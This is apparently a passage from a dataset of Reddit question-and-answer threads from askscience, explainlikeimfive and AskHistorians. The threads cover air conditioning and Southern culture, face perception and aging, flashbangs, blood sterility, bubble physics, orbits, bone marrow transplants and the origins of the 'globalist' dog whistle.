porch to a back deck isolated it and the people on it from the neighborhood.\n\nA [source](_URL_0_) for the porch/deck.", "One thing that residential a/c changed was the way in which public spaces were utilized. I live in a Texas county of 25,000 people, and there's not a single move theater in the county. At one point in the 1930s, there were three. Theaters offered relatively well built, well ventilated buildings. They were also some of the first locations to get \"cooled air\" or \"refrigerated air\", whether that was thorough early mechanical refrigeration or by forcing air over large blocks of ice.\n\n[Here](_URL_0_) is a Time magazine article about the heat before a/c that specifically talks about theaters being early adopters of a/c.\n\n[Here](_URL_1_) is a contemporary photo from 1937, showing men at the morning movies, advertising that the theater is \"Air Cooled.\" The Library of Congress caption says \"here are three such movies in one block. Oklahoma City, Oklahoma.\"\n\nNow? No movie theaters- but every house has a satellite dish.\n\nSimilarly, our courthouse was built with two courtrooms, each with 20+ foot ceilings over the gallery, a balcony, ceiling fans, and seating for a couple hundred people. One entire wall of the courtroom is windows, with large double doors that open to a central hallway on the other. It's a public space specifically designed to be ventilated, comfortable, and to accommodate people coming to a public building to get out of the worst of the heat.", "Air conditioning facilitated a major [influx of Northerners to central and southern Florida](_URL_0_).  That migration began just before World War II and continued through the rest of the 20th century.  Two thirds of Florida's current population was born in a different state than Florida.  Many of these people were drawn by the extremely mild winters, beaches, and lack of snow and ice.   They would have been much less willing to move there if they couldn't stay indoors away from the mosquitoes, heat and humidity that plague the state during the summer.  This has lead to Florida being culturally more similar to the midwest and New England where many Floridians were born and less like the other southern states.  Before this influx of people, Florida's economy was largely based on plantation agriculture, much like the rest of the south.  While air conditioning isn't solely responsible for Florida's current culture, it has played a major role in the state's development by making it a much more attractive place to live and drawing people from other regions of the country.\n", "If you really want to know about the weather and the South, you should read these two infamous pieces. One was written in 1929 and contains possibly the most famous opening line in Southern scholarly history by one of the foremost Southern historians of the 20th Century U.B Phillips: \"Let us begin by discussing the weather, for that has been the chief agency in making the South distinctive\". \n\nLet's just let that sit for a second. U.B. Phillips, the greatest Southern historian of his time (before the Civil Rights Movement that is) lists *the weather* as the key to everything that had happened prior to 1929, from slavery to Reconstruction to education and so on. This was his opening line in his novel explaining the culture of the South entitled *Life and Labor in the Old South*. The book tried to detail how interconnected life in the South was with its climate--while those up North were industrious during the winter, spring, and fall months, those in the South could not unless they had a work force that had no choice but to work during the hot and humid months. Most colleges in the South had shortened years, decreasing the amount of time spent learning as children and teachers simply could not be seated inside a horribly hot room. \n\nThe flip side to this is what happened after the advent of A/C. In the Journal of Southern History, Raymond Arsenault describes the slow loss of this distinctiveness. The South, since the advent of the A/C, he argues, is a much more assimilated place. Where General Sherman could not conquer, the air conditioner could. Its convenience, low cost, and amazing cooling powers have been slowly transforming the South from the old adage of moonlight and magnolias to a hotter version of the North, or at least a more assimilated American South. \n\nSo people in the former CSA may wave Dixie flags and praise states rights like their predecessors did, but that distinctive Southern flair, the writing styles of Faulkner and Lee and Mitchell are said to be gone forever. Time has sped up in the South. The leisurely days on end where a man or woman would just sit on the porch and observe the world and put it into art are gone.\n\nAnyways, check out the book. Here's the [article](_URL_0_). Hope this helps.", "I grew up in South Georgia, in the Tifton area, in the 60's and 70's. AC was becoming common in stores, but not many homes. New homes being built at that time, usually had central air and heating installed, older homes made do. Our house was built around the turn of the century and had doors everywhere. Most rooms had two door and, at least, two windows for air flow. Even the bathroom, small as it was, had two doors in it. Kids didn't stay inside in the summer, it was too hot. Everybody went out side. Parents on the porch and kids in the yard. My school didn't have AC, that made for some hot days in May and September. Sleeping was sweaty. Temperatures at night during the hot part of summer, usually late July, August and mid September, can run 90 degrees Fahrenheit at midnight. Since we didn't know any better, we dealt with it. Every Sunday afternoon in the summer, my family would go to the movies, mostly to get out of the heat for a few hours.", "This isn't directly a \"change of culture\", but proliferation of Air Conditioning and refrigeration coincides with a historical migration southward: _URL_1_\n\nThe population is constantly moving westward.  But it was staying put north/south until 1920, when a strong southern shift starts, and is yet to show any signs of slowing down.\n\n(Note that the addition of new territory to USA has not had any strong immediate effect, because this data takes all of them into account long before they had any significant population, as can be seen from [the source](_URL_0_). Also it has interactive maps.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Summer_White_House#Summer_White_House"], ["http://us.123rf.com/400wm/400/400/klotz/klotz1011/klotz101100020/8338019-desert-suburban-sprawl-viewed-from-lone-mountain-peak-towards-the-summerlin-neighborhood-of-las-vega.jpg"], ["http://articles.chicagotribune.com/1988-08-20/news/8801240743_1_front-porches-cooling-air-conditioning-and-television"], ["http://www.time.com/time/nation/article/0,8599,2003081,00.html", "http://www.loc.gov/pictures/item/fsa2000001223/PP/"], ["http://en.wikipedia.org/wiki/Florida#Population"], ["www.jstor.org/stable/2208474?seq=2"], [], ["http://www.census.gov/geo/www/maps/2010center_pop_animation/2010mean_center_animation.html", "http://i.imgur.com/ksWx755.png"]]}
{"q_id": "67ysbg", "title": "Do our brains process faces differently as we age?", "selftext": "For example, a five year old looks at a picture of the face of a ten year old and thinks they look old and mature, whereas if the child looks at that same picture ten years later, he'll probably think the ten year old looks childish. Can this be explained in the brain?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/67ysbg/do_our_brains_process_faces_differently_as_we_age/", "answers": {"a_id": ["dgv2buq", "dgvwtgz"], "score": [17, 7], "text": ["Yes, they do. To reiterate a few other comments, there's a part of the brain called the fusiform face area (FFA) that becomes more active when we're viewing a face. \n\n[Here's a review article](_URL_1_) about how this part of the brain changes as we grow up. It's from 2008, which is relatively early days of studying the development of FFA, so the findings that it reports on are a little mixed, but the general result is that the face-specificity of the FFA emerges as we grow up. In other words, that region of brain starts off not so good at distinguishing between faces and objects, but with age (and experience) comes to only activate when viewing faces.\n\n[This paper](_URL_0_) had 7 to 11 year-olds and adults look at faces of kids and adults while undergoing fMRI scanning. They found a portion of adult brains around the right FFA that processed kid and adult faces differently, whereas that same region in kid brains processed kid and adult faces similarly. This doesn't exactly answer your question, but it does at least suggest that age and experience change how our brains process faces. \n\nIf you're interested in finding out more, I pulled these papers from [Prof. Kalanit Grill-Spector's lab at Stanford](_URL_2_). She's a face-processing expert, and one of the few who is also doing brain imaging work with children.", "Yes, various aspects of face processing do change. Face recognition memory declines with age, but more so for images of young faces than old faces ([Lamont, Stewart-Williams, and Podd 2005](_URL_12_); see also [Bartlett and Fulton 1991](_URL_13_)  < - pdf!; [Crook and Larabee 1992](_URL_6_)). These effects may partially be perceptual in nature ([Oswley, Sekuler, and Boldt 1981](_URL_10_)). \n\nCertain specific emotions (fear, anger, and sadness) become more difficult to recognize ([Calder et al. 2003](_URL_9_)  < - pdf!) and they show a bias for remembering faces showing positive vs. negative emotions ([Mather and Carstensen 2003](_URL_1_); [Charles, Mather, and Carlstensen 2003](_URL_4_)  < - pdf!). For a review (and some hypotheses about neural mechanisms), see [Ruffman et al. 2008](_URL_7_) ( < - pdf!). [Mather et al. 2004](_URL_2_) argue that these differences are due to reduced amygdala activation to negative faces in older adults. \n\n[Here](_URL_0_) is a PET study on differences in face processing between younger and older adults, but I can't find a non-paywalled version and I don't think it's ultimately very informative -- more prefrontal activity in older adults, but it's not clear what that means necessarily. [Here](_URL_3_) ( < - pdf!) is another study which found no differences in early ERP signatures of face processing between younger and older adults. A more interesting study found that in older adults areas of the brain which normally show high selectivity for faces in younger individuals are less selective, but they may recruit other compensatory cortical networks to help them recognize faces ([Lee et al. 2011](_URL_5_)  < - pdf!); see also [Gao, Suzuki, and Park 2010](_URL_8_)). For a review of the neuroscience of aging, see [Grady 2012](_URL_11_). \n\ntl;dr there is a reduction in face recognition memory, facial emotion recognition, and other face processing tasks as we age; these changes may be due to reduction of neural response specificity to various stimuli (\"dedifferentiation\"), but these may be offset by some compensatory cortical reorganization."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://vpnl.stanford.edu/papers/GolaraiCerebCortex2015.pdf", "http://vpnl.stanford.edu/documents/golaraigrill-spectorgabrieliTICS2008.pdf", "http://vpnl.stanford.edu/publications.htm"], ["http://search.proquest.com/openview/813c2a05cff1ebeaea970780849c4072/1?pq-origsite=gscholar&amp;cbl=47265", "https://escholarship.org/uc/item/8n37k31f", "https://escholarship.org/uc/item/1bj2m61c", "https://www.researchgate.net/profile/Assaf_Harel/publication/26322646_Aging_effects_on_early-stage_face_perception_An_ERP_study/links/02bfe5142203472e48000000/Aging-effects-on-early-stage-face-perception-An-ERP-study.pdf", "http://204.14.132.173/pubs/journals/releases/xge-1322310.pdf", "https://www.researchgate.net/profile/Yunjo_Lee/publication/50938259_Face_Processing_Changes_in_Normal_Aging_Revealed_by_fMRI_Adaptation/links/00b7d5241b9dc0746d000000/Face-Processing-Changes-in-Normal-Aging-Revealed-by-fMRI-Adaptation.pdf", "https://academic.oup.com/geronj/article-abstract/47/3/P138/556573/Changes-in-Facial-Recognition-Memory-Across-the", "https://www.researchgate.net/profile/Vicki_Livingstone/publication/5576023_A_meta-analytic_review_of_emotion_recognition_and_aging_Implications_for_neuropsychological_models_of_aging/links/00b4952b35e62797e6000000.pdf", "https://www.sciencedirect.com/science/article/pii/S1053811910001461", "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.902.7019&amp;rep=rep1&amp;type=pdf", "http://iovs.arvojournals.org/article.aspx?articleid=2176330", "http://www.nature.com/nrn/journal/v13/n7/abs/nrn3256.html", "https://link.springer.com/article/10.3758%2FBF03193209?LI=true", "https://www.researchgate.net/profile/James_Bartlett2/publication/226844067_Familiarity_and_recognition_of_faces_in_old_age/links/555a3cd808ae6fd2d8281feb.pdf"]]}
{"q_id": "68rbp9", "title": "What would it feel like to experience extreme gravity waves?", "selftext": "Assuming safety from the nearby colliding black holes or whatever is required, what would it be like? Would gravity fluctuate with your weight getting heavier then lighter?\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/68rbp9/what_would_it_feel_like_to_experience_extreme/", "answers": {"a_id": ["dh15s82"], "score": [2], "text": ["You mean *gravitational* waves, [gravity waves](_URL_0_) are something different. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Gravity_wave"]]}
{"q_id": "djntjq", "title": "how does the flash bang work and what's the feeling being flash banged? does it really work like in fps games?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/djntjq/eli5_how_does_the_flash_bang_work_and_whats_the/", "answers": {"a_id": ["f46cm6h", "f46dgvj", "f46dovx", "f46tsxt", "f47w4mn"], "score": [23, 16, 18, 57, 2], "text": ["It creates a bright flash of 7 million candlepower that temporarily blinds you for a few seconds, and causes you to see after-images for several seconds after sight returns.  It makes a loud bang over 170db that disorients and disturbs the fluid in your ears which causes loss of balance.  \n\nI\u2019ve never been flashbanged so I can\u2019t say how accurate or inaccurate it\u2019s depiction in FPS is, but in the sense that in games it makes it hard to see, aim, and move for several seconds is accurate.", "A flashbang grenade is basically just a tube filled with pyrotechnic powder (usually powdered aluminum/magnesium) attached to a fuse and a bursting charge. When the fuse ignites the charge it explodes and propels the powder out of the tube and into the air. A split second later the powder ignites and creates an incredibly bright flash and a strong pressure wave. \n\nBeing anywhere near one when it goes off is extremely unpleasant. Being within the effective range, especially in an enclosed space, results in temporary deafness, permanent hearing damage, temporary blindness and blurry vision, and loss of equilibrium. Basically it makes it damn hard to hear, see, or move around for a few seconds.\n\nAs pyrotechnic devices flashbangs can be very dangerous. They have the potential to start fires, throw debris at high velocity, and cause serious burns.", "For whatever reason the ones in video games are single bangs.\n\nAll the ones I've seen in service are 9 bangs.\n\nIve done plenty of 9 bang inoculations in a dark room and I'd say that video games really over egg the effects.", " >  Does it really work like in FPS games?\n\nDuring army basic training I was, accidentally, flash-banged. The platoon had set up a bivouac for the night and we expected to be 'attacked'. I got to sleep for the first watch so naturally I was awoken by said attack. Some shots and then a flash bang landed about 3-4m from my head.\n\nWhen it went off I was completely incapacitated. I wasn't blinded because I had turned away but I was stunned. Someone I vaguely remember is standing a foot in front of me and appears to be yelling but I can't hear him. He goes away and I look around. Apparently I'm in a wood and I'm cold. There are people running around. I recall something about a gun, oh there it is, I get the feeling I should pick it up. The other guy comes back, still yelling. Now I recognize him, he's the platoon sergeant. \n\nI try to say that I can't hear, but I have no idea whether any words came out so I point to my ears and shake my head. I remember the flash-bang so I point to where it was and he sees the debris and realizes what happened. \n\nIt was a good 10 minutes before I could hear again even partially. I still had to stand my turn at watch.", "I am not in the military but I've heard operators say it temporarily blinds you, creates an after image effect for about 3 seconds so your eyes image has gone on pause, your brain physically never gets the signal of the operators entering the room and killing you.\n\nThe sound is incredibly loud like a firework exploding beside you, the effects on the ears can cause some people to throw up. It's way worse than in a game.\nIn certain older models of flashbang if the grenade explodes in your hand it can blow off your fingers.\n\nThe SAS use ear protection and special filters on their gas masks to reduce the effect, that's why they have big black eyes when wearing their masks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "lc3f5", "title": "Is normal human blood sterile or not?", "selftext": "My first impression was that it was, because, well, it's blood. Unless you had a condition that directly affected your blood it feels like it HAS to be sterile. But, after reading up on it, apparently there's some dissent about whether it actually is or is not. \n\nNot sure if I can request it but I don't care if you're just throwing out ideas, if there really isn't an agreed-upon answer, or if you're giving me a fact and I'm just bad at researching things.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lc3f5/is_normal_human_blood_sterile_or_not/", "answers": {"a_id": ["c2rgxfv", "c2rh022", "c2rjgy8", "c2rgxfv", "c2rh022", "c2rjgy8"], "score": [19, 2, 3, 19, 2, 3], "text": ["Yes, unless you have bacteremia (which aptly means 'bactera in the blood').  ", "It should be, a common medical test of health is putting your blood on blood like growth medium and seeing if any bacteria grow. It appears that both wikipedia and NIH Medline agree with me. It appears the confusion is resulting from _URL_0_ (a well known American conspiracy theorist) and the idea of 'live blood viewing'. While some alternative medicine labs will do this test and claim it has scientific basis, I have not seen credible support for it. \n\n_URL_1_", "Might want to start with the meaning of words.\n\nI'd start with \"sterile\".", "Yes, unless you have bacteremia (which aptly means 'bactera in the blood').  ", "It should be, a common medical test of health is putting your blood on blood like growth medium and seeing if any bacteria grow. It appears that both wikipedia and NIH Medline agree with me. It appears the confusion is resulting from _URL_0_ (a well known American conspiracy theorist) and the idea of 'live blood viewing'. While some alternative medicine labs will do this test and claim it has scientific basis, I have not seen credible support for it. \n\n_URL_1_", "Might want to start with the meaning of words.\n\nI'd start with \"sterile\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["Rense.com", "http://en.wikipedia.org/wiki/Live_blood_analysis"], [], [], ["Rense.com", "http://en.wikipedia.org/wiki/Live_blood_analysis"], []]}
{"q_id": "1bwynv", "title": "What would happen if a baby's only language exposure was instrumental music?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bwynv/what_would_happen_if_a_babys_only_language/", "answers": {"a_id": ["c9av2o0"], "score": [9], "text": ["Though I really like this question, I don't think I can offer any hard evidence that will be enriching in AskScience. Perhaps you can cross post this to /r/AskScienceDiscussion to allow for the most worthwhile consideration. I'll try to speculate there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "63f7cr", "title": "why do we put our hands over our mouth when we eat something hot? [psychology]", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/63f7cr/eli5_why_do_we_put_our_hands_over_our_mouth_when/", "answers": {"a_id": ["dftndeq"], "score": [2], "text": ["Because we tend to open our mouths to breathe when we eat something hot, and we're already conditioned to cover our open mouths (yawning, etc)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "zxe5b", "title": "If someone was to have a tank of oxygen and a separate tank of helium under water and they released one bubble of each, which one would get to the surface faster?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zxe5b/if_someone_was_to_have_a_tank_of_oxygen_and_a/", "answers": {"a_id": ["c68k4yf", "c68l2s4", "c68vxmd"], "score": [100, 86, 2], "text": ["It would depend entirely on the relative size of the bubbles.  Larger bubbles rise more quickly.  The effects of the different gas densities are completely negligible.\n\nThe bubble will reach an equilibrium velocity, much like the terminal velocity of a body falling in air, governed by the following equation:\n\nbuoyancy = drag\n\n(weight of displaced water - weight of gas) = (0.5 * density of water * velocity^2 * drag coefficient * cross-sectional area of bubble)\n\ng * (4 * pi/3) * r^3 * (rho_water - rho_gas) = 0.5 * rho_water * v^2 * Cd * pi * r^2\n\ng * 8/3 * r * (rho_water - rho_gas) = rho_water * Cd * v^2\n\nv = sqrt(g * 8/3 * r * (1 - rho_gas/rho_water) / Cd)\n\nCd is roughly 1 (dimensionless)\n\ng is 9.8m/s/s\n\nrho_water is 1000 kg/m^3\n\nrho_gas is about 1.4 kg/m^3 for oxygen and 0.2 kg/m^3 for He at room pressure*\n\nLook at the dimensionless term (1-rho_gas/rho_water).  This represents the buoyancy and is 0.9986 for oxygen and 0.9998 for He.  The difference between the buoyancies is only 0.1%!\n\nThis illustrates that the buoyancy in this case is completely dominated by the absence of water rather than the presence of the gas.\n\nIt's pretty obvious from the last equation above that even small changes in the radius of the bubble (r) will totally outweigh the tiny difference in buoyancy between helium and oxygen.\n\n*I neglected compressibility effects on the gas.  If they're deep underwater that could be important.  Maybe one is more compressible than the other.", "The helium.\n\nDensity is not significant.  The helium is faster there, but that's almost negligible.   The surface tension of the water will have a much greater effect than the density of the gas, since helium and oxygen are so low relative to water anyway.\n\nOxygen dissolves in water, helium doesn't.  (9ml oxygen per litre water, and less than .1ml of helium, at STP) The oxygen bubble will get smaller, reducing it's speed.  \n\n_URL_0_\n\nThe helium does not dissolve, keeping the bubbles rounder, larger, and in fewer pieces.\n\nOxygen also compresses better (and becomes ozone) which is even MORE reactive.  So if you increased the pressure, the helium would be even faster relative to the oxygen.\n\n*edit: the reason larger bubbles work better, from fruitinspace's equation:*\n\n*(weight of displaced water - weight of gas) = (0.5 * density of water * velocity2 * drag coefficient * cross-sectional area of bubble)*\n\n*The weight of displaced water is relative to the size of the bubble, which is 4\u03c0r^3 /3, where r is the radius.  The cross sectional area is \u03c0r^2 .  A big bubble has its rising power increased by r^3, but the drag only increases by r^2.*\n\n*So the larger the bubble, the faster it rises.  Helium is less dense to begin with, and will remain larger than oxygen.  If you were deep down enough or had small enough bubbles, the oxygen would dissolve away and wouldn't reach the surface at all.*\n\n\n", "The depth of the water needs to be taken into account; The higher the pressure the more of the gas released will simply be absorbed by the water rather than rising as a bubble. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.engineeringtoolbox.com/gases-solubility-water-d_1148.html"], []]}
{"q_id": "5fkso9", "title": "Whenever I open a breath right strip, the guled part lights up. Why is this?", "selftext": "It only happens in the dark and the light is blue. And I'm talking about when I open the strip like a bandaid not the box.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5fkso9/whenever_i_open_a_breath_right_strip_the_guled/", "answers": {"a_id": ["dal1vyy"], "score": [10], "text": ["This effect is called [triboluminescence](_URL_0_). This effect simply means that when you break a material apart, sometimes you see light being emitted. This light is rather weak, which is why you only see it in the dark. The actual physical origin is still somewhat under dispute. One possibility is when you rip chemical bonds apart, sometimes you separate electrons from their parent compound, leaving behind a positively charged site. Sometimes the electrons will fall back into this site, releasing energy in the process as visible light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Triboluminescence"]]}
{"q_id": "340s0g", "title": "What process occurs when ultra violet light is used to \"cure\" a resin/glue product?", "selftext": "I recently had a stone chip repaired on my car windshield and they used a resin to fill the chip and set it with a UV light.\n\nWhat in the UV light causes the resin to set or harden so quickly? Would it still cure the same way if just left to do so on its own? Is it how the resin is manufactured to respond to the UV light spectrum?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/340s0g/what_process_occurs_when_ultra_violet_light_is/", "answers": {"a_id": ["cqq5f8s"], "score": [15], "text": ["Those type of resin is known as [light-activated resin](_URL_1_), and contains a compound that will polymerize under UV light.\n\nYou may have seen some of these [reaction coordinate](_URL_2_) diagrams. For a reaction to occur, you must overcome a particular [activation energy](_URL_0_). In some cases, this activation energy requires certain electrons to be promoted to a particular orbital; in others a radical must be initiated. Regardless, the idea is that _some_ energy must be put in to get the reaction going, and for those resins UV light is exactly the right type/amount of energy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Activation_energy", "http://en.wikipedia.org/wiki/Light-activated_resin", "http://en.wikipedia.org/wiki/Reaction_coordinate"]]}
{"q_id": "43zz1z", "title": "Is it possible to have an orbit that doesn't bisect the planet?", "selftext": "An orbit around just the middle of the northern hemisphere.\n\nMost satellites I see appear to go right around the \"middle\" of the planet. I figure that is just because it is easiest, but is it the only realistically possible way to have an orbit without continuous adjustments.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/43zz1z/is_it_possible_to_have_an_orbit_that_doesnt/", "answers": {"a_id": ["czmctbp", "czmg24v", "czmio4p", "czmiwjs", "czmsdzg", "czndbcb"], "score": [29, 3, 5, 2, 2, 2], "text": ["An orbit must have one focus on the centre of the primary body. Also, orbits lie in a plane (orbital plane) and the focus lies on this plane. So this plane must intersect the equatorial plane. In particular, unless the orbit lies exactly on the equator, part of it will be in one hemisphere and part in the other. The points where the orbit crosses the equatorial plane are the nodes (ascending and descending) and the line connecting them is the nodal line, which is also the intersection of orbital and equatorial plane.\n\nNo escaping this!", "There are geostationary orbits, which are probably not what you have in mind, but the satellite is always above the same spot on the Earth.\n\n_URL_0_\n\nThere are more complex examples of tidally locked systems, but that seems 'cheaty'.\n\nIn any purely gravitational periodic system, if you draw a plane through the center of mass of the system, the bodies will either cross that plane twice per orbit, or they're orbiting in it.  It should be very easy to see this is true because (1) the system is periodic, so there's some point where the mass is neither rising or falling with respect to the plane and (2) gravity is always pulling the mass toward the plane (unless the mass is in the plane already.)", "A lot of people are being unspecific here.\n\nYou cannot have the orbit you describe.\n\nYou can have orbits that are not around the center of mass for the system, since you can orbit Lagrange points.\n\nThis is because orbits become a lot more fun in multi body systems. In a low earth orbit or pretty much anything where the moon doesn't interfere you will only have simple orbits with both bodies orbiting the combined center of mass. In the case of satellite/earth  this is well approximated by the centre of the earth. A northern hemisphere orbit isn't centered on the earth and therefore cannot exist.", "Two bodies orbiting each other cannot do this, but if you have a third body involved you can.  As others have said, you can orbit certain Lagrange points that result from the Earth orbiting the Sun.  You can also orbit the center of mass of a binary star system where either star is only in the plane of your orbit at special times.", "As people have answered, satellites that orbit around planets do so around the center of mass and do bisect the planet.  We can't have an orbit where the satellite spends all of its time over the middle of the northern hemisphere. \n\nHowever - if you wanted to launch, say, a communications satellite to serve the northern hemisphere, you could put the satellite in a highly inclined, elongated orbit where it spends a significant amount of its time over the northern hemisphere.  [The Soviet Union did this with its Molniya satellites.](_URL_0_) While a Molniya satellite's ground track doesn't stay at a specific latitude in the northern hemisphere, it remains in a useful place for 8 hours when the satellite is near its apogee.", "If a planet if not uniformly distributed in mass, the center of mass is not lay exact the same spot as centroid, and one can say it is not revolving around it center if he/she is mentioning centroid not center of mass."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Geosynchronous_orbit"], [], [], ["https://en.wikipedia.org/wiki/Molniya_orbit"], []]}
{"q_id": "amlt1v", "title": "why can\u2019t the super bowl be moved to a saturday to give those who consume alcohol a day to recover?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/amlt1v/eli5_why_cant_the_super_bowl_be_moved_to_a/", "answers": {"a_id": ["efmwhr1", "efmxbzu", "efmy19g"], "score": [23, 18, 6], "text": ["Football is traditionally played on Sundays because most people are off from work that day. ", "Why can\u2019t those who consume alcohol just not drink so much to the point that their productivity and ability to properly function at work the next day? ", "Sundays have less competition for entertainment than Saturdays, this maximizing viewership, regardless of alcohol consumption.\n\nThat's why it doesn't get moved. NFL doesn't care how much you drink, they care how many watch and Sunday gets them the most.\n\nThere's a reason why virtually no hit TV shows air on Saturday evenings. Generally speaking the audiences are far smaller than any other night. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "26ya9v", "title": "Will a bone marrow transplant lead to a tranplantation of ones specific immunity? (and/or can chemotherapy/radiotherapy lead to the loss of ones specific immunity against previously exposed pathogens?)", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/26ya9v/will_a_bone_marrow_transplant_lead_to_a/", "answers": {"a_id": ["chvqg30", "chvtrve", "chwac7c"], "score": [5, 2, 2], "text": ["Yes. Depending on disease,that might actually be the point of the transplant--to completely replace your failing immune system with a healthy one. Even if that is not the point, it will be necessary. The radiation and chemotherapy kill off your immune system so it doesn't attack the donor cells. Then, if everything goes well, and the donor cells successfully \"engraft\", you've replaced your immune system with a whole new one (in addition to getting rid of cancerous cells, if that was the problem).\n\nSource: i work in a cancer clinic", "Yes, this is the case regarding stem cell transplants. An interesting thing is that people who get bone marrow/stem cell transplants usually have to get their vaccinations redone afterwards since they've wiped their own immunity.\n\nAs for chemotherapy, there's a debate--the normal consensus is that the immune system makes a complete recovery when it recovers, but this isn't always the case.\n\n_URL_0_\n_URL_1_", "No, it is only the hematopoietic stem cells that are transplanted. These are the cells that give rise to red blood cells, platelets and \"white\"blood cells.\n\nAcquired immunity happens as a selective process after the cells are produced, primarily in the thymus, and these cells are not transplanted."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3460396/", "http://www.ncbi.nlm.nih.gov/pubmed/10661568/"], []]}
{"q_id": "6678w5", "title": "Some alt-right/far-right/white-nationalist types now seem to be using the word \"globalist\" as a dog-whistle shorthand for \"Jewish\" - what are the origins of this?", "selftext": "I ask this in keeping with the weekly theme of Globalization, but I'll be glad to remove or reframe the question if it's too incendiary or not meaningfully enough connected to the theme.\n\nMany earlier versions of the standard anti-Semitic conspiracy theorizing sees Jews connected to \"financiers\" and \"international bankers,\" but what are the origins of tying this particular line of bigotry to globalism itself? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6678w5/some_altrightfarrightwhitenationalist_types_now/", "answers": {"a_id": ["dgggccv"], "score": [31], "text": ["Great question. I believe you're absolutely right that if you really want to trace this notion back to its roots, you'll find those roots in the classic \"Jewish banker\" stereotype supported by antisemites. However, I think there's a case to be made that the 1992 campaign of Pat Buchanan for the Republican presidential nomination that year is a good landmark for this idea coming out into the open, at least in the United States.\n\nBefore 1992, the Soviet Union was the great bugaboo of the American far-right. Before Buchanan, the John Birch Society of the 1950s and 1960s was staunchly anti-globalist, but it couched its arguments in terms of the need to fight Marxism and the spread of communism. When it attacked the Civil Rights movement, it did so from the position that the movement represented Marxist influence in the United States. In some of its most famous propaganda, the Birch Society attempted to convince Americans that John F. Kennedy was a traitor to the United States. Fliers to that effect were distributed in Dallas shortly before Kennedy's assassination.\n\nDespite its profoundly conservative beliefs, Birch Society members attempted to build a wall to block anti-semites from joining. Antisemitism is frequently found among extreme conservative and liberal ends of the political spectrum, and the Birch Society [attempted to prevent antisemitism from spreading within the society](_URL_0_), because society members knew that such beliefs would marginalize the movement. They [have had mixed success in preventing that spread](_URL_4_).\n\nIn any event, I feel that the key moment in our discussion is the fall of the Soviet Union. With the threat of Marxism gone, the Birch Society and far-right groups began focusing on the United Nations to a greater degree. The Birch Society had always opposed the United Nations, believing it to be a Marxist tool, but the spectre of the New World Order began to feature prominently in America's political fringes.\n\nAs Michael Barkun writes in *A Culture of Conspiracy: Apocalyptic Visions in Contemporary America*, \"In broad outline, New World Order theory claimed to provide an overarching explanation for contemporary politics by fitting all events into a single scenario: a diabolically clever and unscrupulous secret organization was in the process of seizing control of the world.\"\n\nThis fits neatly into the antisemetic stereotype that a cabal of Jewish bankers controls the world. \n\nOn Dec. 30, 1991, William F. Buckley [devoted the entire issue of *National Review* to the topic of anti-semitism](_URL_2_). This remarkable fact came about because the Gulf War had deeply divided American conservatives. Some, including Pat Buchanan, believed that the war did not serve America's interests and benefited Israel more than the United States. The mainstream conservative belief was that the United States needed to go to war.\n\nBuchanan, [who announced his run for president about the time the issue was published](_URL_1_), attempted to run as a political outsider, bashed Japan's \"predatory trade policies,\" declaimed the idea of a trade deal with Mexico (what would become NAFTA), said the U.S. should withdraw from the World Bank and International Monetary Fund, and didn't want the United States to loan billions in housing assistance to Israel.\n\nAs the New York Times [wrote in February 1992](_URL_3_), \"The core of Mr. Buchanan's message is that with the end of the cold war the prevalent force in the world today is nationalism. He argues that with countries like Japan centering their policies on their own national economic interests, the United States would be foolish to adopt purely free-trade practices or surrender authority to multinational agencies.\"\n\nCombined with the allegations of anti-semitism coming from people who might have been Buchanan's allies on the conservative side of American politics, I think there's a solid case to be made that his campaign has many of the elements of what you're looking for."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nytimes.com/2009/06/26/us/26Land.html", "http://www.newsweek.com/pat-buchanan-anti-semitic-201176", "http://www.nytimes.com/books/00/07/16/specials/buckley-anti.html", "http://www.nytimes.com/1992/02/04/us/the-1992-campaign-republicans-buchanan-s-run-exposes-fissures-in-the-right.html", "https://www.splcenter.org/fighting-hate/intelligence-report/2013/bringing-back-birch"]]}
